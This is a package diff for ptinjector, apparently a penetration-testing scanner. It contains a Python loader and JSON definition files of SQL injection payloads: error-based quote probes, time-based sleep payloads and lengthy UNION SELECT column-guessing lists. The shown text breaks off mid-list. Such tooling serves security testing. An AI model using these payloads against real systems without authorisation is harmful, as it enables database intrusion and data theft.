ptinjector 0.0.1__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
ptinjector/__init__.py ADDED
File without changes
ptinjector/_version.py ADDED
@@ -0,0 +1 @@
1
+ __version__ = "0.0.1"
File without changes
@@ -0,0 +1,169 @@
1
+ import re
2
+ import os
3
+ import json
4
+
5
+ from ptlibs import ptprinthelper
6
+
7
+ from typing import Optional, List
8
+
9
+ class DefinitionsLoader:
10
+ def __init__(self, use_json: bool = False, random_string: str = None, verification_url: str = None, technologies: list = []):
11
+ self.use_json = use_json
12
+ self.RANDOM_CODE: str = random_string
13
+ self.verification_url: str = verification_url
14
+ self.technologies: list = [technology.lower() for technology in technologies if technologies]
15
+ self.folder_path: str = os.path.dirname(__file__)
16
+ self.available_definition_files: list = [f for f in sorted(os.listdir(self.folder_path)) if (os.path.join(self.folder_path, f) and (not f.startswith("_") and f.endswith(".json")))]
17
+
18
+ def load_definitions(self, specified_tests: Optional[List[str]]) -> dict:
19
+ """
20
+ Load and validate JSON definitions from available files.
21
+
22
+ This method reads through the available definition files, validates their
23
+ structure and values, replaces any placeholders within the contents, and
24
+ loads the valid definitions into a dictionary. If no valid definitions are
25
+ found, an exception is raised.
26
+
27
+ Args:
28
+ specified_tests (Optional[List[str]], optional): A list of specific tests to load.
29
+ If None, all available tests will be loaded.
30
+ Defaults to None.
31
+
32
+ Returns:
33
+ dict: A dictionary containing the loaded and validated definitions.
34
+
35
+ Raises:
36
+ Exception: If no valid definitions are available.
37
+ """
38
+
39
+ loaded_definitions: dict = {}
40
+ skipped_tests: list = []
41
+ for definition_filename in self.available_definition_files:
42
+ definition_name: str = definition_filename .split(".json")[0]
43
+
44
+ # Determine if the current definition should be processed
45
+ if specified_tests is None or definition_name in specified_tests or self.matches_specified_test(definition_name, specified_tests):
46
+ definition_contents = self._read_definition_file(definition_filename)
47
+ if self.validate_json_structure_and_values(definition_contents, definition_filename):
48
+ # Replace placeholders and add to loaded definitions
49
+ definition_contents = self.process_payloads_and_replace_placeholders(definition_contents)
50
+ if definition_contents["payloads"]:
51
+ loaded_definitions.update({definition_name : definition_contents})
52
+ else:
53
+ skipped_tests.append(definition_filename.split(".json")[0].replace("_", " ").upper())
54
+
55
+ if skipped_tests:
56
+ ptprinthelper.ptprint(f"Skipped tests: {', '.join(skipped_tests)} - definitions do not contain any valid payloads.", "WARNING", condition=not self.use_json)
57
+
58
+ if loaded_definitions:
59
+ ptprinthelper.ptprint(f" ", "TEXT", condition=not self.use_json)
60
+ return loaded_definitions
61
+ else:
62
+ raise Exception("No definitions were loaded")
63
+
64
+ def matches_specified_test(self, definition_filename: str, specified_tests: list):
65
+ """Returns True if <definition_filename> matches any of the <specified_tests>"""
66
+ return True if [test for test in specified_tests if definition_filename.startswith(f'{test}_')] else False
67
+
68
+ def _read_definition_file(self, definition_filename: str, ) -> dict|None:
69
+ try:
70
+ file_path: str = os.path.join(self.folder_path, definition_filename )
71
+ with open(file_path, 'r') as file:
72
+ return json.load(file)
73
+ except json.JSONDecodeError:
74
+ pass #print(f"Error decoding JSON in '{definition_file}'. Check the file structure.")
75
+ return None
76
+
77
+ def validate_json_structure_and_values(self, json_data: dict, definition_filename) -> bool:
78
+ """
79
+ Validates the structure of the provided JSON data.
80
+
81
+ This function checks if the provided JSON data has the required keys
82
+ ("description" and "payloads") and that these keys contain values of the
83
+ correct type.
84
+
85
+ Args:
86
+ json_data (dict): The JSON data to validate.
87
+ definition_filename (str): Filename of loaded json_data
88
+
89
+
90
+ Returns:
91
+ bool: True if the JSON data is valid, False otherwise.
92
+ """
93
+ required_top_level_keys = ["description", "payloads"]
94
+ # Check top-level keys and their types
95
+ if not json_data or not all(key in json_data for key in required_top_level_keys) or not isinstance(json_data["description"], str) or not isinstance(json_data["payloads"], list):
96
+ ptprinthelper.ptprint(f"Warning: File {definition_filename} is not of a valid structure. Please ensure that the file follows the correct structure and contains valid values.", "WARNING", condition=not self.use_json)
97
+ return False
98
+ else:
99
+ return True
100
+
101
+
102
+ def process_payloads_and_replace_placeholders (self, json_data: dict):
103
+ """Replaces found placeholders inside definition files. Also converts any int to str."""
104
+ def replace_with_slice(match):
105
+ # Extract the number from the match
106
+ if match.group().upper() == "[URL]":
107
+ if self.verification_url:
108
+ return self.verification_url + f"/save/{self.RANDOM_CODE}"
109
+ else:
110
+ return "[URL]"
111
+ else:
112
+ num = int(match.group(1)) # Convert captured group to integer
113
+ # Return my_string sliced to the length of num
114
+ return self.RANDOM_CODE[:num]
115
+
116
+ # Matches [RANDOM_(digits)] or [URL|url]
117
+ placeholders_re_pattern = re.compile(r"\[RANDOM_(\d+)\]|\[(URL|url)\]", re.VERBOSE)
118
+ required_payload_keys = ["payload", "verify", "type"]
119
+ invalid_payloads = []
120
+
121
+ for payload_index, payload_object in reversed(list(enumerate(json_data["payloads"]))):
122
+ # Check each item in "payloads" for required keys and non-empty values before processing.
123
+ if not all(key in payload_object and payload_object.get(key) for key in required_payload_keys) and not all(payload_object.get(key) for key in required_payload_keys):
124
+ invalid_payloads.append(payload_object)
125
+ json_data["payloads"].pop(payload_index)
126
+ continue
127
+
128
+ # Convert payload and verify keys to lists if they are strings
129
+ payload_object["payload"] = [payload_object["payload"]] if isinstance(payload_object["payload"], str) else payload_object["payload"]
130
+ payload_object["verify"] = [payload_object["verify"]] if isinstance(payload_object["verify"], (str, int)) else payload_object["verify"]
131
+
132
+ # Convert verify values to strings
133
+ payload_object["verify"] = [str(value) for value in payload_object["verify"]]
134
+
135
+ # Check if payload should be skipped based on technology
136
+ if self.technologies:
137
+ if payload_object.get("technology") and payload_object["technology"].lower() not in self.technologies:
138
+ #print(f"Skipping payload due to unmatched technology: {payload_object}")
139
+ json_data["payloads"].pop(payload_index)
140
+ continue
141
+
142
+ # Check if payload should be skipped based on verification URL
143
+ if not self.verification_url and payload_object["type"].lower() == "request":
144
+ #print(f"Skipping payload due to missing verification URL: {payload_object}")
145
+ json_data["payloads"].pop(payload_index)
146
+ continue
147
+
148
+ # REPLACE PLACEHOLDERS
149
+ payload_object["verify"] = [re.sub(placeholders_re_pattern, replace_with_slice, text) for text in payload_object["verify"]]
150
+ payload_object["payload"] = [re.sub(placeholders_re_pattern, replace_with_slice, payload) for payload in payload_object["payload"]]
151
+
152
+
153
+ if invalid_payloads and json_data["payloads"]:
154
+ ptprinthelper.ptprint(f"Found invalid payloads, they will be skipped.", "WARNING", condition=not self.use_json)
155
+
156
+ return json_data
157
+
158
+ def get_definitions_help(self):
159
+ """Builds and returns help rows"""
160
+ help_rows = []
161
+ for file_name in self.available_definition_files:
162
+ try:
163
+ row = ["", "", f' {file_name.rsplit(".json")[0].split()[0]}', f' Test for {self._read_definition_file(file_name).get("description")}']
164
+ except:
165
+ row = ["", "", f' {file_name.rsplit(".json")[0].split()[0]}', f' Test for {file_name.rsplit(".json")[0].split()[0]}']
166
+ finally:
167
+ help_rows.append(row)
168
+
169
+ return sorted(help_rows, key=lambda x: x[2])
@@ -0,0 +1,12 @@
1
+ {
2
+ "description": "Definition template",
3
+ "vuln_code": "",
4
+ "payloads": [
5
+ {
6
+ "payload": "",
7
+ "verify": [
8
+ ],
9
+ "type": ""
10
+ }
11
+ ]
12
+ }
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "Error-based SQL Injection",
3
+ "vulnerability": "PTV-WEB-SANIT-SQLINJ",
4
+ "payloads": [
5
+ {
6
+ "payload": [
7
+ "'",
8
+ "\"",
9
+ "\\",
10
+ "foo"
11
+ ],
12
+ "verify": [
13
+ "You have an error in your SQL syntax;",
14
+ "Unknown column",
15
+ "mysqli_fetch_array() expects parameter"
16
+ ],
17
+ "type": "regex"
18
+ }
19
+ ]
20
+ }
@@ -0,0 +1,20 @@
1
+ {
2
+ "description": "Time-based SQL Injection",
3
+ "vulnerability": "PTV-WEB-SANIT-SQLINJ",
4
+ "payloads": [
5
+ {
6
+ "payload": "' OR sleep(3) OR 'a'='",
7
+ "verify": [
8
+ 3
9
+ ],
10
+ "type": "time"
11
+ },
12
+ {
13
+ "payload": "' AND sleep(0.2) OR 'a'='",
14
+ "verify": [
15
+ 3
16
+ ],
17
+ "type": "time"
18
+ }
19
+ ]
20
+ }
@@ -0,0 +1,90 @@
1
+ {
2
+ "description": "Union-based SQL Injection",
3
+ "vulnerability": "PTV-WEB-SANIT-SQLINJ",
4
+ "payloads": [
5
+ {
6
+ "payload": [
7
+ "-1 UNION ALL SELECT [RANDOM_5]*10--+",
8
+ "-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10--+",
9
+ "-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
10
+ "-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
11
+ "-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
12
+ "-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
13
+ "-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
14
+ "-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
15
+ "-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
16
+ "-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
17
+ "-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
18
+ "-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
19
+ "-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
20
+ "-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
21
+ "-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
22
+ "-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
23
+ "-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
24
+ "-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
25
+ "-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+",
26
+ "-1 UNION ALL SELECT [RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10,[RANDOM_5]*10--+"
27
+ ],
28
+ "verify": [
29
+ "[RANDOM_5]0"
30
+ ],
31
+ "type": "REGEX"
32
+ },
33
+ {
34
+ "payload": [
35
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
36
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
37
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
38
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
39
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
40
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
41
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
42
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
43
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
44
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
45
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
46
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
47
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
48
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
49
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
50
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
51
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
52
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
53
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+",
54
+ "' UNION ALL SELECT CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]'),CONCAT('[RANDOM_3]','[RANDOM_3]')--+"
55
+ ],
56
+ "verify": [
57
+ "[RANDOM_5]0"
58
+ ],
59
+ "type": "REGEX"
60
+ },
61
+ {
62
+ "payload": [
63
+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
64
+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
65
+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
66
+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
67
+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
68
+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
69
+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
70
+ "\" UNION ALL SELECT CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\"),CONCAT(\"[RANDOM_3]\",\"[RANDOM_3]\")--+",
71
